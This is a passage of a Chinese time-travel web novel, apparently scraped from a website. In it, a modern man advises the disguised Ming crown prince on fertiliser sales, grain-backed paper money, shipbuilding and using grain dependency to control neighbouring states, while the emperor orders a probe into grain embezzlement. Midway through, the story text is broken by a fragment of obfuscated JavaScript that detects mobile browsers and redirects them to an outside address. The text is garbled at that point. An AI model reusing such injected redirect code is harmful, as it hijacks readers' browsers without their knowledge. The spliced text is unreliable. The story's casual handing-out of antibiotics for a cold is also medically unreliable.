但是结合下史书和影视形象。 一个义子欺行霸市,总跑不掉了吧。 呃,虽然蓝梁好像还挺不错。 朱安宁的反问,也是让朱标有点尴尬,他不像朱元璋那般在皇帝和农民地主之间,身份切换得那么熟练。 他现在还是会经常代入自己的视角。 不就是石膏矿么,要是对国家有利,给你便是…… 蓝玉那边,他去说就成。 这种感觉。 “啊……总之你让我试试嘛……我就说我要这矿可以了么?” “你……哎……随你吧。” 朱安宁摆了摆手,心里想的是,反正这伍文是东宫的人,不至于被那蓝玉当街打死就行。 大不了伤了自己借他一瓶跌打油…… “没事的,安宁小弟。”朱标看朱安宁的表情,还想宽慰两句。 朱安宁也是只能叹气。 嗯,希望没逝。 “对了,刚才看 的那些新粮,再过两月能有产出么。”朱标不想在这个话题上过多浪费口舌,他连忙切入了主题。 “差不多,三种都是,到时清点下亩产,给我永乐庄留点种粮,剩下的就可以献上去了,这个对我们大明太重要了。”朱安宁也是恢复了正常,反正是福不是祸,是祸躲不过,打不了……到时和这伍文一样,去东宫当太监……啊呸,是进去当个小官,寻个机会,再跟着朱棣去北边,那就万事大吉了。 大明嘛,基本的历史脉络,我朱安宁可是记得一清二楚的。 朱安宁也是给自己整了条备用路线…… 但是,他大概还未知道。 这个大明,早已不是他熟悉的那个大明…… “我看这田种的也不算多,第二茬撑死也就在京郊一些地里种一下吧。”朱标抬头看了下这院内田地的大小,估算了下。 “你如果能和太子亲近些的话,你就告诉他,这些新粮,尽量先在官田种下,让一些小官吏记录好整一季的种植情况,方便未来全国推广就行。” “南北种法应该也不一吧。” “肯定有差别,所以别一上来就大规模推广,以应天府为中心,逐渐推广吧,也好让各地去尝试和记录。” “嗯,那种植方法,安宁小弟你这里可有记录?” “你四弟五弟那里有,前期这几片地,都是他们侍弄的,他们懂,等到献粮的时候,你也把这几个家伙带过去呗,他们也是有功劳的,换几个官职应该问题不大。” 呃,官职……这几个人,迟早都会有的,所以这不是关键。 朱标直接就忽略了这个问题,继续开口问道。 “你昨日好像也说了,要高产得勤施肥吧,这肥,新粮推广之后,如果大量获得?” 这也是一下就问到了朱安宁的心坎里了。 回想自己这十来年看过的小说,穿越过来制盐的,制糖的,造玻璃的,整火药的,甚至建工厂的,那是一个比一个牛逼。 但是,能不能讲点基本法啊! 哪有那么好搞嘛呜呜呜呜。 制盐他倒是想,不怕死的话…… 以他的专业技术来说,这土肥料,是对最为合理的第一桶长期资金来源…… 这突然搭上了东宫的线,那就简单多了。 “肥嘛,我不是能造嘛,我这便宜,量大价低,童叟无欺!” 朱标是听出了他想干嘛,但是他也提出了一个很实际的问题。 “这……一般农夫,怎么会舍得掏钱银买肥嘛。” “我永乐庄的稻米收成时,大家都会看到我的肥有多好用。”朱安宁笑了笑,他丝毫,不担心这个问题:“我的价格又不高,我甚至可以送一批给想买的农夫用,试用一下嘛,又没损失……” “你有损失啊……” “这哪能叫损失,这叫广告。” “广告?” “呃……广而告之的意思,就是大家如果能快速知道我的肥有效,能产更多粮,那就没问题啦。” 第一百章 造船啊,我们得造船啊! “广告,这个说法有点意思……广而告之广而告之,让大家都知道你永乐庄的肥好用,就都过来买……那你究竟是地主还是商人?” 朱标喝了口粥,说道。 “地主商人,哪个都行,我是个对大家有用的人。”朱安宁想了想,也是说得直接:“给我钱就行。” 只是,他还未等朱标回答,他也补充了句:“能把肥料卖到全国去,我岂不是就能当个富家翁了!” “哦?安宁小弟你的想法真的就这么点?” 朱标依旧是在喝粥,但是那目光已经死死地盯住了朱安宁。 就想看看他会怎么回答。 “嗯,我想想,要是我真的大富了……呃,我还真不知道想干嘛,造大船吧……” “就这样?”造大船?是商船吧,毕竟他一副很想行商的样子。 这是朱标的脑内想法。 而实际朱安宁想的是郑和宝船那种!!! 现在是十四世纪,快点先一步大航海,抢地盘啊歪日! 朱安宁是说得理所当然。 朱标却听得有些无奈…… 真的假的? 但是听语气,好像还挺真的。 “诶,不说造船的事情先,这不重要。”朱标顿了顿继续说了下去:“前些日子安宁小弟你不是和我父亲讨论过那大明宝钞的事嘛,我这边有点疑问。” 啊?有疑问。 这不太好吧…… 之前和老伍头聊天,那就是键政而已。 现在和这伍文胡说八道……多少……多少有点心虚啊。 “你想献策给太子?” “若是良策,又可施行,为何不献?要知道,我们现在虽然居于富庶之地,这应天府外可是还有不少地方的百姓仍在挣扎求活……甚至有很多地方,战乱还未消,我虽不才,但是依旧希望能让这大明,早日安稳下来,百姓们,早日安居乐业。” 朱标正声说道。 作为东宫太子兼大明常务副皇帝。 反正他爹不在的时候,他也跟皇帝没区别。 治理好这个国家本来就是他的任务。 所以,他一串话说下来,那是慷慨激昂。 把朱安宁说得一愣一愣的。 这小哥格局好大啊……但是这话又真特么地有道理。 这气势,放以前高中主席台上,起码也是个学生代表了吧…… 哎,自己这些日子真是白看导员的书了…… 可恶,思想境界怎么感觉还不如古代一个小小的东宫小破官。 “好好好,伍哥你若是觉得真的可以献策给太子的话,我就斗胆说一说咯,太子仁厚,你献策给他,再不济也不会惹祸上身。” 朱安宁也是拍了拍桌子,吃了碗粥的他,脑子是终于可以正常运转的了。 “伍哥你有什么疑问尽管问,咳咳咳!” 他拍了拍胸脯,一副随便问的模样。 却也成功拍出来咳嗽…… “安宁小弟你莫激动……”朱标也是没想到朱安宁这么认同自己的说法……看来老爹说得没错,这人,对百姓,有一副仁义气在:“你之前说要用粮食去锚定宝钞,那我假定整个大明已经建好足够的官仓,也有了足够的粮食,宝钞和粮食已经兑换无忧了。但是我们的粮会不会越来越多啊……这样宝钞……” 朱标提出了一个非常非常有意义的问题。 这就是他比朱元璋先进的地方。 自幼饱读各类书籍,外加眼界阅历,提出的问题,也能够一针见血。 如果不是历史上挂得早,朱标真的是有资格竞选前十圣君的人选。 朱安宁也是没想到朱标一上来就能问出这种问题。 随着生产力发展,部分地区产能过剩,那是可以预见的。 但是换个方向去看待的话,那就是朱标太乐观了。 明朝前期是很难出现全国性的粮食过剩的,只会说江南地区过剩。 “伍哥,你是担心粮食过多,这和粮食锚在一起的宝钞,最后又变得不值钱是吧。” “正是。” “首先这件事情肯定不会说突然就发生,产量有个循序渐进的过程,我们姑且叫产量爬坡吧。” “爬坡?这个说法倒是贴切。” “伍哥你能理解就行,在产能爬坡的阶段,我们第一时间应该把江南地区多余的粮尽快运到其他地方去。江南粮多,可不代表其他地方粮多。” “嗯,本就该如此,但是如果这个……这个产能爬坡到了,咱们全国都不缺粮了呢?” 嚯……真敢想。 不过现在有新三主粮,加肥料,小康他不敢说。 过段时间,全国温饱,好像也不是不行…… “全国都不缺了,那就找准机会和其他国置换产物。” “卖粮?!” “卖一部分换一部分。” “为何?换什么?” “比如云南那边几个小国小部落,我们就用多余的粮,大量地换茶叶或者换些其他不能当饭吃的作物,喝不完吃不完也没关系,就大量换,换到那边都开始不种粮食,开始为了给我们供货而开始种其他东西就行。 那就等于他们吃下的每一粒米都是我们供给的,也是一种变相控制。这叫物资依赖,等到他们反应过来的时候,可能已经没有地给他们种田了,那,不就任我们拿捏了么。” “嘶……这也是你之前和父亲说的那个贸易司的方策之一么?” “哦,这种不算,毕竟云南那边几个小国,历史上还是跟我们有藕断丝连的,没必要这么狠,只需要控制住他们就行。” “好像可行……但是需要好好规划,如果可以这般解决云南,那西边是否也可以这样解决?” “大同小异,用粮食控制周边地区,是很便捷的方法,待到附近吃的都是我大明的粮食的时候,就可以往那边开始流通宝钞,等于就是我们的宝钞他们可以用,这样更便于我们去控制他们。” “嗯,这些父亲也和我说过些,那现在唯一的问题就是……官道也好水渠也好……短期内,没有办法解决如此浩大的工程啊……” “啊?怎么突然扯上水渠和官道了……” “安宁小弟,运粮是需要走水路或者陆路的啊。”朱标看着朱安宁,只觉得刚才还头脑清醒的他,怎么一下会问出这么白痴的问题。 “哦哦哦……我都忘了这茬了……”朱安宁是真的有点忘了。 虽然穿越过来已经有些时日了,但是他还是以前的老思维,全国包邮…… 随着朱标的提醒,朱安宁也是想起了以前学过的古代粮食损耗问题。 这运粮整的不好……耗一半那都算少了。 要是真的按他刚才的计划,用粮食去控制周边国家,那耗费在路上的粮食那将是天量! 只是简单估算了一下,朱安宁就倒吸了一口凉气。 怪不得以前建设国家的时候,就一直说要致富先修路。 感情这古代也是这样啊。 但是这修路的话自己就真是两眼一抹黑了。 不对……这古代可没有工程车,修是得修路,但是不能只寄望在修路上,船才是正道! “伍哥,之前我不是给了你爹一本关于水利的书籍么。” “有的。” “里面应该有对应的运河挖渠的一些说法,运粮还是走水路便利些。除此之外,沿海一带尽量用海运,造船,咱们大明得造船。” 说起这个,朱安宁也是眼前一亮,若是能够让朝廷早日开始造船,自己会不会成为推动明朝先一步进入大航海时代的那个人。 我擦,还有比这更牛逼更刺激的事情么。 朱安宁只是想想便激动了起来。 “伍哥,造船!我们得造船!” “但是造船这个花销……”朱标摇了摇头,有些拿捏不定。 “哪有不掏钱就赚钱的道理,而且造船有大用啊,倭人岛上有银矿,三佛齐有金矿!” “嗯?”这话也是让朱标一下来了精神。 银矿,金矿! 这是知道自己穷,给自己送钱么。 朱标也是想起了,朱元璋依稀和自己提过,只不过都是要跨海,父子两都不是很上心。 而现在就不同了,造船可以同时解决部分运粮的问题,又可以试试海外…… 这好像还算划得来啊。 “好像这船……是可以造一些试试的。” “对啊,伍哥,这个你务必要和太子爷说清楚,造船,是可能改变我大明国运的啊!” 呃,这夸张了吧,怎么这安宁小弟,对造船这么狂热呢。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378704|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 想不通…… 朱标摇了摇头。 却也突然忍不住又咳了几声。 然后是止不住地头晕目眩。 刚才聊正事时他就觉得有点不对头。 本来还好好的,后面是越来越晕。 莫不是御医煎的药,一下就没用了?…… 不至于把。 朱标想站起来,缓一缓。 朱安宁也是奇怪地看着突然不说话的朱标。 只见朱标脸色白了不少,摇摇晃晃地撑起了身子。 朱安宁一看这阵势,那是想都不用想,这朱标肯定又是发烧了…… “伍哥,你不舒服?” “有些……” “你没有看大夫?” “呃……看……看是看了。”何止是大夫,那是御医。 看了还这副德行。 看来这伍文的病也挺严重的。 嗯……给他吃两天阿奇算了,别这家伙晃荡来晃荡去,传染了更多的人。 想到这里,朱安宁也是没有犹豫,他回身就去车里,掏出了三片阿奇霉素。 朱标是体温一下就上来了,现在就只能看着朱安宁走进了房车里,然后又出来,手里还拿着奇怪的药丸。 “呼……安宁小弟你这是?” “我之前行走时得到的一些药物,对你现在染的风寒很有效,我今早已经吃过了,你看我现在不比你好多了……” “如此有效?” “哎,给你吃罢。”朱安宁倒了杯水,递了过去。 朱标还略微犹豫了一下。 如果对方知道他是太子,递东西给他吃,他是万万不敢说随便下肚的。 而现在朱安宁又不 知道自己身份,想来没有害自己必要,也就是犹豫了一下,便接过了药丸和水,一口吞了下去。 “剩下两片,明日后日各服一次,就可痊愈。” “安宁小弟……你这边……呼……真是多稀奇古怪的东西啊。”提问上来心跳有些快的朱标喘了下气,那是由衷地感叹道。 朱安宁则是摆了摆手,并不觉得是什么大事。 因为看着朱标的样子还可以,朱安宁甚至省下了布洛芬……成年人嘛,自己扛。 而现在,朱标状态不好,两人也暂时结束了刚才的话题。 坐在那里休息了起来。 知道不知过了多久,朱标在躺椅上,那是昏昏沉沉地睡了过去。 操劳多日,还生病。 朱标又不是铁打的,这睡着也属实正常。 ———————————————————— 皇宫里。 现在是用午膳的时间。 马皇后正在带着自己的好大孙在吃午饭。 朱元璋也难得抽了个空。 所以朱雄英很开心。 他已经许久没有和他爷爷吃过午饭了。 只是他还未开口说些什么,先出来的确实一声咳嗽。 这让马皇后不免皱起了眉头。 朱元璋这种糙人,则没什么表示。 “雄英,你没事吧。” “咳咳,奶奶,没什么,就是突然喉咙痒了。” “哎,怕不是你父亲传染给你了,真是的,天天忙着忙那,也不知道休息下,把自己熬病就算了,还传染给了雄英!” 马皇后就和常见的婆婆那般,在那叨个不停。 眼睛看的是朱元璋。 而朱元璋也知道他发妻在影射些什么…… 不就是怪自己最近压了太多事情给朱标做,让他没得好好休息,生病了么…… “哎呀,标儿多大个人了,生点小病不碍事,到时雄英,你不难受吧。” “皇爷爷,就是喉咙痒……咳咳。”朱雄英连忙回话。 还未等朱元璋继续说些什么,马皇后是一把打断了他: “不行,得叫御医过来,早点煎药给雄英服下先,别拖久了麻烦。” “行行行,依你依你,雄英啊,听你奶奶话乖乖吃药。” “啊,但是我不想吃苦药……咳咳咳……” 年纪还小的朱雄英,只听懂了他要喝药……那不是遭罪了么。 “乖,雄英,喝了好快点。” “好吧……” 第一百零二章 看人头多,还是我老朱刀子多 朱安宁,对于造船是有执念的。 想必任何穿越回来的国人,都有执念吧。 大航海时代,我们是被抛下的那个国家。 在各种技术,交流,突飞猛进的那段时间里,我们彻底被抛下,最后迎来了屈辱的100年。 若是没有遇上伍文。 他不会这么着急。 毕竟,他就是个远离权力中心的地主而已。 而现在,太子身边的人,就这么出现在了自己面前。 总不能放弃吧。 所以他才又再次凑到了朱标的身边。 重新提起了造船的事情。 朱标也是没想到朱安宁会重新提起这件事情,也是多少有点意外。 “虽然那些地方的特产,真的很吸引人……但是安宁小弟,你得知道我们如今的国库……” 国库? 又是缺钱是吧…… 朱安宁也是被这个说法整得想挠头。 之前他觉得朱元璋太暴虐,老是乱杀人。 但是现在,他又无比想让朱元璋快点宰几个贪官……充下国库嘛…… 话说,那郭桓案,能不能提前一下嘛。 把那几个贪污的侍郎,和勾结他们的地主一宰,还愁没有银子? —————————— “毛骧,胡惟庸的那些破烂事,你整理得不错,现在咱还有一件重要的事情需你去办。” 殿内,正有个人跪在下面,静静地听着朱元璋说话。 “永昌侯家,有一批石膏,准备运往江南,你带人跟下去,然后,查清楚,谁拿了石膏,拿了石膏的人,和朝中大臣,地方官员,有无关系。” 这个旨意并不精确,相反,是个很笼统的命令。 但是听令的毛骧知道,越是笼统,牵扯越大,他敏锐地察觉到了,这或许是一件大事啊! “遵命!”他连忙领了命,然后告退。 只留下朱元璋还呆在殿内。 方才他已经和阁臣们处理完了今天的机要,然后抽空开始调查石膏的动向。 最后,他踱了几步,还是没有坐下。 “召,诚意伯,曹国公进来……把韩国公也叫来吧。” 他开口向门口的太监喊道。 随后自然是小太监跑向远处的声音。 伴着这脚步声,朱元璋终于可以坐下休息一会。 最近的国事因为朱安宁的提议,而变得有些纷乱。 其实不要说朱标累,连他都有点吃不消,这还是在有阁臣的情况下…… 而不等他歇息多久,,被召的几个人,很快就来到了朱元璋的面前。 “行了行了,不用那么多礼了,坐吧,今天叫你们几个过来,就是商量下粮草的事情,保儿,这事之前一直都是交予你去办的,怎么样?” 朱元璋处理事情向来直接高效,他等几人落座,就直接发问。 而这粮草事情,三人皆是立马听懂了,指的是北伐的粮草。 作为参加过前两次北伐的大将,李文忠对粮草一事,那是再熟悉不过。 “禀陛下,北边的几个粮仓,已经补齐,未来需要随军的物资,也已经备好,随时可以出发。” 历史上的第三次北伐,应该是洪武十三年,北元国公脱火赤、枢密知院爱足率领上万人在和林屯扎,怀疑有南侵动向,才让朱元璋派出军队前去击破。 而现在,洪武十二年的朱元璋,已经在朱安宁的刺激下,等不及了…… 这战争的发动,已经偏离了历史的轨迹。 但是,却也是计划周详。 第三次北伐由刘伯温提起,在胡惟庸被杀之后,那是朝野再无人反对。 而还在训练的边军的徐达,汤和,也被他陆续叫回,也交代了这北伐势在必行的决策。 随后,更是带着预备这第三次北伐的李文忠去看了朱安宁的新粮,让他不必有那么大负担。 现在最后欠缺的就是北元的动向了…… 所以他才抓了刘伯温和李善长也一同前来。 作为朱元璋麾下的两大谋臣,一把年纪也得发挥下余热嘛。 几人就在殿内直接商量了起来。 朱元璋还展开了一堆北边发来的秘报供他们参考。 这是一场阔别了七八年的战斗,很快他们就从怎么打,谈到了谁去打。 “北元余孽重兵在西边,平西侯坐镇中军最为合适。”最后还是李文忠提了个意见。 “沐英?”朱元璋沉吟了片刻,却也是点了点头:“他沉稳,就让他去。” 这次北伐,没有提名一众老将,却提了沐英。 在场的人都知道是什么原因。 那是第二次北伐打得太难看了呀…… “这事就这么定了!” 决定几万人生死的事情,就被这么几人,在这小小的殿中决定好。 很快,大明这个机器,将会开始为了这件事情而运转。 这件事情,已经讨论得差不多了。 朱元璋挑了下眉,把目光移到了刘伯温和李善长身上。 “这北伐一事虽然重要,但是还有件关乎我朝未来的大事,韩国公,诚意 伯,咱想问下,那些准备未来用来存粮的官仓也已经开建了,当地的官员可有什么反应啊。” 这个问题,一下把刘伯温和李善长给惊醒了。 他两一个是御史中丞,监察百官,一个是当朝太师,统领文官,所以朱元璋这问题,对他们发问是毫无问题的。 怎么答……才是关键。 答无事发生,那就是自己找死。 但是有些事情,真的能在这里说? 李善长是犹豫了起来。 而刘伯温则,长长地叹了口气。 粮仓的建设,在历朝历代都属于那种,听起来很小,但是实际影响巨大的事情。 两人抬头和朱元璋对视了眼,看到的自然是审视的目光,便也知道这是躲不过去的了。 一咬牙,李善长先开口了。 自从胡惟庸去和陈友谅张士诚等人汇合后,李善长是惊醒了许多。 “遭灾的几个府县,都没有什么反应,只当是朝中想提前存些粮,但是江南一带……”李善长顿了顿,他知道接下来的事情,可就不是那么好说的了…… 朱元璋眯起了眼睛。 对于江南发生的某些事情,他是昨日打听到的。 真是朱安宁院子里听到蓝玉的石膏要运江南后,他就留了个心眼,最后在一堆折子里面找到了某个江南小官报上来的消息。 “百姓疑朝廷将课以更重的税收,民怨沸腾。” 更重的税收? 这个消息是怎么传出来的呢。真有意思。 难道是和自己最近的动作有关? 朱元璋马上就想到了自己建新粮仓的事情。 只是,建粮仓怎么就会让百姓们这么浮想联翩呢,这就更值得深究了。 他不信负责这件事情的刘伯温和李善长没有听到什么风声。 所以才有了今天的召见。 他眯眼看着李善长,就等着他,想看看他会说些什么东西。 李善长也是只能继续说了下去。 “民间有流言说朝廷又要征重税了……” “江南本就是重税,无缘无故,咱怎么又会突然加他们的税呢?”朱元璋说实话还是有些纳闷的。 而最初听到这个消息的李善长和刘伯温,其实也很是纳闷。 江南地区的税本来就重,但是因为易耕种,那边的百姓也不敢说些什么,就是老老实实耕田就算了。 结果这一建新粮仓,好像就踩到了他们尾巴似的,一群百姓那是民怨沸腾。 要说还是李善长关系多,他遣人打听了几次,便摸清了状况。 继而惊得是一身冷汗,还顾不上以前和刘伯温的不和,迅速分享了消息。 “江南官吏,截留官粮,更有官员,截留不说,还另寻法子,提高税收,以补亏空,这便是百姓看到建新官仓心里恼火的原因,他们以为,是缴了八成还不够,是朝廷想要他们的命,这才民怨沸腾。” 这便是刘伯温和李善长得到的消息。 其实也是今早才得知,他们也是在商量该如何和朱元璋说才好,毕竟牵连甚广。 结果还没商量出个所以然来,朱元璋就召见他们了…… 这不是逼死人了么。 贪粮那些官员,更多就是旧时的元朝的那批地方官,他们总以为这明和元,是换汤不换药,才会做这些蠢事……可不要怪自己把这些破事抖出来了啊,是你们自己蠢。 李善长一咬牙,也是准备豁出去了。 “上位,江南一带,传闻有官员,截留官粮私吞,又私自提高田税,百姓看到朝廷新建官仓,便以为还要加税,自然 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哦,对了,江南那边的狗官们,多是以前留下来的地方官,因为没有太多的人手,便也没置换他们,想着他们干得还不错,也就让他们待到了现在。 没想到啊没想到。 朱元璋猛地睁开了眼睛,一掌劈在了桌上,手和桌子,都在抖动。 “古往今来,贪赃枉法,就是禁不绝是吧,那就看你们贪念多,还是咱的刀子多!!!” 刘伯温早就料到了会是这个结局。 这也是他叹气的原因。 都说百年王朝,千年世家。 世家们代代皆有人才出,官员一个接一个,特别是元末明初这一批,那是贪惯了,根本就管不住自己的手。 一环扣一环相互包庇,是他们最擅长的玩法。 本来刘伯温应该也是其中的一环。 幸得他性子清高,没有参与进去,不然也是要接老朱刀子。 “上位,若是真有此事,恐怕牵连甚广,北征在即,先查清具体情况……” 他并不同情那些贪官,但是他怕朱元璋的刀子一个收不住……无辜的人也杀了,那就麻烦了啊。 “查?咱已经派人下去查了,我倒是要看看,这个大明,是不是才建立十余年,就长出了一堆蛀虫!!!” 砰!!! 又是一掌,劈在桌面上。 发出了巨响。 朱元璋像是感受不到疼那般。 满脸涨红,尽是杀气。 息怒息怒。 现在这四个字,那是无人敢提。 只能等朱元璋继续发泄。 直到过了许久。 朱元璋的脸色,才由红转回正常。 只是依旧是阴沉得吓人。 他没开口,三人那是不敢再说些什么。 就怕老朱癫起来,连自己都砍了…… 在这沉默的时刻,门外突然跑了个小太监进来。 那慌张的姿态,直接就让朱元璋的脸色变得更加阴沉。 毕竟他们几个方才是在聊国家大事,这太监怎么回事,说闯进来就闯进来,真是成何体统。 结果那小太监直接凑到了朱元璋身边,轻声说了几句话。 很快,朱元璋的表情就从阴沉,变成了慌张。 “你们三个先退下吧,这事情没完,明日再说。” 说罢,朱元璋便慌慌张张地跟着小太监跑出了殿外。 只留下三人莫名其妙地在那互相你看我我看你。 “呃……韩国公,那我们……” “我们……就此退下吧。” “哎……” 三人是互相打了个招呼,就此离开。 而朱元璋,此时正在奔跑。 他紧张的原因很简单。 他的宝贝大孙子,烧昏沉过去了。 这还得了!!! 国家大事很重要。 自己家的事,那也是国家大事!都耽误不得。 等下,那朱安宁的药! 对了,自己还有朱安宁的药。 上次那农家的小孩烧抽抽了,也是吃了他的药就好了! 第一百零三章 你,想要谋反? 朱标还在朱安宁的小院里,自然是不知道自己的好大儿的事情。 他只觉得早上吃了朱安宁的药后,确实是有点效果。 中午一顿葱油面也是吃得舒坦,明明就是简单的葱,面和酱油,但是就是香,这手艺确实是不错,怪不得自己父皇有事没事就想来一趟。 其实不仅是他,其他几个小伙子中午的面也是吃得唏哩呼噜,舒爽无比。 而几人吃饱了,也没有进屋,都是围在了这院子的树下,在乘着凉。 “嗝……”朱棣打了个饱嗝,一脸满意的表情:“比鸡蛋面好吃,但是和我的泡面比还是差了点意思。” “天天就泡面泡面,小燕,那玩意吃一包少一包,你就且吃且珍惜吧。”朱安宁瘫在躺椅上,摇晃着,毕竟他也还未完全病愈,就是吃了药,舒服点了而已,所以饭后那是完全不想动,就瘫在了那里休息。 “吃没了我不会造船去掏香料啊!” 朱棣是撇了撇嘴,说话那叫一个霸气。 对于红烧牛肉面里面的料包里面有什么香辛料,朱安宁哪知道……所以被朱棣问烦了,他就直接说南洋,就是南洋…… 这让朱棣对南洋那是无比地感兴趣…… “好好好,小燕,有志气,我就等你造船。” 朱安宁还在摇晃,嬉笑着回应了朱棣的霸气发言。 至于真的造船?那是一丁点都不信的。 造什么,独木舟啊,一地主家傻儿子。 而朱标,却是切切实实地把两人的对话,听进了耳中,多少是有点无语。 堂堂一个燕王,就要去北边就藩了,结果天天在这叫嚷着要去南边下海…… “四弟,出海……在现在可算不得什么正事啊,咳咳。”朱标咳了两声,不知是喉咙痒,还是在敲打朱棣。 而朱棣,要说怕的那还真就是他老爹和他的好大哥,被朱标这么一说,也是直接噤了声。 朱安宁则没有这种负担,他那是想说什么就说什么,简直就是明朝蒙多。 “现在不行,那不代表未来不行嘛,经世济民,外面那么多好东西,就不能带回来给我大明的百姓尝一尝嘛。”朱安宁乐呵呵地提了一嘴,算是帮了朱棣的的腔。 可惜朱棣现在哪还敢继续这个话题,那是老老实实在那,连头都不敢点。 朱橚看着自己四哥这副模样,也是觉得好笑得很。 他对什么出不出海,那是没有多少想法的,现在每天晚上跟着朱安宁学农学,植物学,那才是他快乐的源泉。 五个人里面,学得最扎实的就是他。 要不是朱安宁能力有限,这朱橚,怕不是再学下去,论文都能撸一篇出来…… 只是他也没有忘记,朱安宁天天晚上教自己几人是为了什么。 “对了先生,我们几人已经学了相当长时间了,乡学究竟什么时候开设啊……学堂到现在都还未开建啊……” 这事也不是什么需要隐瞒的事情,所以即便朱标还在,朱橚也是说了出来。 “这些日子,你们不是在挖水渠嘛,我就想等水渠挖通了再说。” 朱安宁随口回了朱橚的问题。 结果他迎来了七嘴八舌的回应。 李景隆,刘廌刘畾兄弟,一起回道。 “通啦。” “今天通的。” “都已经开始漫灌了,等除完杂草,过些时日就可以插秧了。” 几人说得相当开心。 毕竟,挖渠是很累的…… 朱安宁又要求他们必须要起带头作用…… 今儿总算是结束这任务了。 而让几个小伙子始料未及的是,村民们对他们的态度。 挖通那一刻,全村人都围着他们,在那欢呼。 泥泞的土地,和炽热的太阳,最后配上的是老乡们的笑脸。 这给了他们巨大的满足感。 这就是受人敬仰的快乐么?! 实在是太爽了。 所以他们几个,现在心情都很好。 只是朱安宁的心情就没那么美丽了,毕竟这渠挖好了,他作为这地主,居然不在场……感觉像是错过了什么重大事件,打游戏被人吞了一回合的感觉。 如同玩文明六研发了老半天,XX技术。 然后一眨眼,踏马的成了。 而自己屁都不知道。 还在干着其他事情的落空感…… “啊?”所以他直接发出了不满的疑问句:“通了你们不叫我?!我也想看啊!” “先生你早上不是不舒服么……” “虽然……但是……”噎了半天,最后朱安宁也是无话可说。 只能叹了口气。 “行吧,那就开始着手搞乡学吧,也不用整那么麻烦,我们又不是说要给那群孩子进学……再说了,现在就是他们想进学,也没科举啊。” “先生,那好歹也建几间房子吧。” “晚些我去找戚叔,找点工匠,建点房子就好,你们都准备好当先生了?” “嘻嘻,都跟先生学了那么多天了,轮到我们当先生了啊。” 几人在那笑嘻嘻地聊着天。 唯有朱标听得有些云里雾里,毕竟他知道的细节不多。 他一把拉住了在一旁没敢说话的朱棣,问了起来。 “你们这庄子要弄乡学我知道,是你们去当先生?” 朱标看着朱棣,那是有些惊讶。 他们这几个人要说学问,肯定是没问题的,只是……皇子,公伯之后……在乡学里当先生…… 本来朱标是觉得有些荒诞的,但是他扫了一眼这几个已经变得黝黑的人儿……也是才想起……比起耕田,挑粪,运尿,挖渠……好像当先生还没那么离谱。 “是的大哥,按照朱哥的想法,我们这乡学,不仅教学识,还要教农学一类的东西。” “这事我知道,只是我还是好奇农这一事,怎能在学堂学习。” 朱标那是和最初的朱棣朱橚一样懵逼。 其实朱棣他们一直有把他们近期记下来的记录,托戚祥拿回宫中。 但朱元璋是老农出身,他只看了眼开头,好奇的是朱安宁为什么要让乡里的孩童们学农,就把那些记录丢一边去了…… 这小事,不太重要,最多就是有点好奇而已。 所以朱标知道的细节也不多。 “大哥,我也是晚上听朱哥开讲才知道,里面门道这么多……按朱哥的说法,老农们都有自己的一套耕种方法,但是是否能因地制宜地去整理出更合理的方法,能否弄清楚田地肥料具体的效用,能否更系统地去利用好每一寸土地和人力,这是值得探究的事情……” “这说法有点深奥啊。” “确实深奥,五弟比我学得精,总之我们几人都觉得,朱哥教的绝对不是什么空泛的东西……甚至于,我有种感觉,这些内容,说不定会对咱们大明的未来,产生巨大的影响。” “四弟,你当真这么认为?” “当真!” 朱棣狠狠地点了点头。 朱哥唯一需要被质疑的,只有鸡蛋面! 这是朱棣的想法。 朱标看着肤色黑了不少的四弟,也是点了点头。 他不由得看向了躺在那里,还在和其余人聊着天的朱安宁。 朱标突然有点期待,朱安宁的乡学,会办成什么样。 教四书五经不算什么新鲜事,但是在学堂里教实干的事务,那才是有意思。 他忽然就想通了朱安宁的想法。 这永乐庄里的孩童,都是灾民之后,哪来的闲工夫和心思去学什么四书五经。 而且读书的门槛本来就高,这对佃户来说,是相当不值当的。 朱安宁另辟蹊径的乡学思路,那才是对佃户们最有帮助的。 不说朱棣描述的那些深奥内容,就是简单讲解之前到过自己手里的农事书籍,想必都是大有裨益。 他第一次想通了,粮食的产量,似乎和农民的耕种能力,也是有关系的啊! 这些原本他们统治者觉得无关紧要的小事,在朱安宁这里,却被专门提了出来,让未来的农民去学习。 真是有意思。 朱标当即就决定要继续留在这里,待到下午朱安宁空闲下来,自己再和他好好聊多点东西。 早上虽然有聊,但是两人都晕乎乎的,总之就是意犹未尽! 不多时,歇息得差不多的几人,如朱标所料,又出了院门,下了田。 渠挖好了,现在在引水漫灌,他们还需要帮这群没有种过水稻的农夫们看场子。 于是院中很快又剩下了朱标和朱安宁两人。 朱安宁也是有些意外,这伍文还在这里,不用上班的? 东宫那边待遇这么好?要不自己也去混个俸禄吧…… “安宁小弟,我听闻你 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而河流的另一头,就是朱安宁的地了。 农夫们都在干着自己的活。 那是一副热火朝天的景象。 朱安宁没有等朱标开口,而是径直继续说了下去。 “粮 食,太重要了,真的太重要了,正是因为粮食如此重要,在我心中,它远比四书五经要深奥……但是世间的读书人们,却又偏偏轻贱这重要的学问,只奉孔孟程朱的文章,为至圣之学。” 朱安宁没有和朱棣他们说过这些大道理。 甚至都没和朱元璋说过。 因为他觉得说了也没用。 今天他愿意走到了院外,抒发那么一大堆东西。 是因为……他知道这伍文,是太子身边的人。 说不定……他能够给朱标太子提些意见呢,改变不了,改观一下,还是有机会的吧。 本着这种想法,他才会在这里滔滔不绝。 “这说法也倒是新奇,难道安宁小弟你认为进学应该要考农?” 朱标知道朱安宁想表达什么,只是他没有点头,也没有摇头,而是把问题抛了回去。 “这倒也是偏激了,你让那些读书人真的学农啊,说不定第二天我们就能被他们的唾沫星子给淹死……这些读书人牙尖嘴利,不好惹不好惹……”朱安宁是笑着摇了摇头,否定了朱标的说法,他继续说了下去:“我只是想说,其实农,也是可以教的,教给真正应当学的人,他们学会了学好了学扎实了,未来耕种起来更加得心应手,那他们能收获更多,国家能收税更多,于国于民,皆是有利。” 这个说法,其实很有道理。 朱标是认可的。 